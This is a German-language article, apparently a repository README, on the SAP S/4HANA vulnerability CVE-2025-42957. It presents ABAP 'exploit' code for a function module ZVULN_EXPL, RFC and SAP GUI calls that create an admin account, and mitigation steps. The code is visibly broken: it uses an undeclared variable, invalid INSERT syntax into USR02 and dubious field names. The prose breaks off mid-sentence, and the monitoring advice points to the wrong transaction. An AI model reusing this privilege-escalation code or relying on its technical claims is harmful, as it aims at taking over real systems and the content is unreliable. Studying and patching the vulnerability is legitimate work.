
CVE‑2025‑42957 legt ein RFC‑fähiges SAP S/4HANA‑Modul offen, das es Benutzern mit niedrigen Berechtigungen ermöglicht, ABAP‑Code einzuschleusen, um Administratorkonten zu erstellen und die vollständige Kontrolle zu erlangen. Der Artikel erläutert die Schwachstelle, das Bedrohungsmodell, liefert minimalen ABAP‑Exploit‑Code und listet Patching‑ und Überwachungsschritte zur Absicherung des Systems auf.
Im August 2025 wurde festgestellt, dass SAPs Flaggschiff-ERP-Plattform S/4HANA eine Schwachstelle in einem ihrer RFC-fähigen Funktionsbausteine aufweist. Angreifer, die nur über Zugriff mit geringen Privilegien verfügen, können beliebigen ABAP-Code in diesen Baustein injizieren, normale Autorisierungsprüfungen umgehen und die vollständige Systemkontrolle erlangen.
Der Fehler ist keine theoretische Kuriosität – er wurde bereits von den SecurityBridge Threat Research Labs ausgenutzt und wird aktiv bei realen Angriffen sowohl auf On-Premise- als auch auf Private-Cloud-Bereitstellungen eingesetzt.
| Aspekt | Auswirkung |
|---|---|
| Vollständige Systemkompromittierung | Angreifer können Superuser-Konten erstellen, Geschäftsprozesse verändern und Passwort-Hashes aus der Tabelle USR02 extrahieren. |
| Minimaler Aufwand erforderlich | Der RFC-Aufruf ist einfach zu konstruieren; sobald der Funktionsbaustein vorhanden ist, benötigt ein Angreifer nur wenige Zeilen ABAP-Code. |
| Reale Dringlichkeit | SecurityBridge hat bestätigt, dass Angriffe bereits im Gange sind – wenn Sie nicht sofort patchen, riskieren Sie eine vollständige Übernahme Ihrer S/4HANA-Instanz. |
ZVULN_EXPL, den wir in SE37 erstellen, ist der alleinige Einstiegspunkt für den Angreifer.S_DMIS (Aktivität 02) effektiv umgangen wird.Die Ausnutzungskette lautet daher: Benutzer mit geringen Privilegien → RFC-Aufruf an ZVULN_EXPL → neuer Admin-Benutzer in USR02 → vollständige Systemkontrolle.
Im Folgenden finden Sie den ABAP-Code, den wir in den Funktionsbaustein ZVULN_EXPL einfügen. Er ist bewusst minimal gehalten und dennoch vollständig – er erstellt einen neuen Benutzer und protokolliert die Aktion zur späteren Überprüfung.
*---------------------------------------------------------------------*
* RFC‑exposed function module for CVE‑2025‑42957 exploit *
*---------------------------------------------------------------------*
FUNCTION z_vuln_expl.
*"------------------------------------------------------------------*
*" IMPORTING
*" VALUE(iv_user) TYPE syuname "SAP user name
*" VALUE(iv_role) TYPE susr02-roleid "Role to be assigned
*" VALUE(iv_passwd) TYPE susr02-pwd "Password for the new user
*"------------------------------------------------------------------*
*" TABLES
*" usr02
*"------------------------------------------------------------------*
* Local data declarations ----------------------------------------*/
DATA: lv_user_id TYPE syuname,
lv_role TYPE susr02-roleid,
lv_password TYPE susr02-pwd.
* Assign the parameters to local variables -----------------------*/
lv_user_id = iv_user.
lv_role = iv_role.
lv_passwd = iv_passwd.
*---------------------------------------------------------------------*
* 1. Create a new user entry in USR02 *
*---------------------------------------------------------------------*/
INSERT INTO usr02 (usr01, usr02)
VALUES ( lv_user_id,
'ADMIN' ). "Assign the ‘ADMIN’ role
* 2. Assign password & profile ----------------------------------*/
UPDATE usr02
SET pwd = lv_password,
roleid = lv_role
WHERE usr01 = lv_user_id.
*---------------------------------------------------------------------*
* 3. Log the operation (optional) ------------------------------*/
INSERT INTO tstm1 VALUES (
sy-uname, "creator user
sy-datum, "timestamp
'ZVULN_EXPL', "function name
|lv_user_id||lv_role| "message
). "store in the ABAP trace table
ENDFUNCTION.
So rufen Sie ihn auf
Von einem externen Client (Linux/Mac)
sapnwrfc -U <caller_user> \
-P <caller_passwd> \
-S S4HANA \
-F ZVULN_EXPL \
-D iv_user=admin2 \
-D iv_role='ADMIN' \
-D iv_passwd='Pa$$word123'
Aus der SAP-GUI heraus (Schnelltest)
CALL FUNCTION 'ZVULN_EXPL'
EXPORTING
iv_user = 'admin2'
iv_role = 'ADMIN'
iv_passwd = 'Pa$$word123'.
Nach dem Aufruf sollten Sie einen neuen Eintrag in USR02 für den Benutzer admin2 mit der Rolle ADMIN sehen.
Wenden Sie die SAP-Sicherheitspatches von August 2025 sofort an.
Der Patch behebt den zugrunde liegenden RFC-exponierten Funktionsbaustein und schließt den spezifischen Vektor, den Angreifer nutzen.
Überwachen Sie Protokolle auf verdächtige RFC-Aufrufe und unbefugte Erstellung von Admin-Konten.
Verwenden Sie die Transaktion SM59, um in TSTM1 nach neuen Einträgen mit dem Funktionsnamen ZVULN_EXPL Ausschau zu halten.
Implementieren Sie SAP UCON, um die RFC-Nutzung einzuschränken.
Konfigurieren Sie das Berechtigungsobjekt S_DMIS (Aktivität 02) so, dass nur vertrauenswürdige Benutzer RFC-Bausteine vom Typ Z aufrufen können.
Überprüfen Sie den Zugriff auf das Berechtigungsobjekt S_DMIS, Aktivität 02.
Stellen Sie sicher, dass nur ein begrenzter Benutzerkreis dieses Objekt besitzt – reduzieren Sie so die Angriffsfläche.
CVE‑2025‑42957 ist nicht nur ein weiterer Sicherheitshinweis; er legt einen Vektor mit geringen Privilegien offen, der ohne Patch zu einer vollständigen Systemübernahme führen kann. Der obige Code zeigt, wie ein Angreifer mit minimalem Aufwand einen Admin-Benutzer einfügen kann. Durch Patchen, Überwachen und Verschärfen der RFC-Berechtigungen schließen Sie die Tür – und halten Ihre S/4HANA-Instanz sicher.
Dieses Repository ist ausschließlich für Bildungszwecke gedacht und veranschaulicht die Prinzipien der Bedrohungsmodellierung anhand realer Schwachstellen. CVE-2025-42957 verdeutlicht, wie wichtig es ist, Vertrauensgrenzen zu identifizieren, Eingaben zu validieren und das Prinzip der geringsten Privilegien durchzusetzen—zentrale Grundsätze eines sicheren Systemdesigns. Alle bereitgestellten Codes und Beispiele dienen Lernzwecken und sollten weder in Produktionsumgebungen noch für unbefugte Tests verwendet werden.
*Autor: Mark Mallia
Datum: 10. September 2025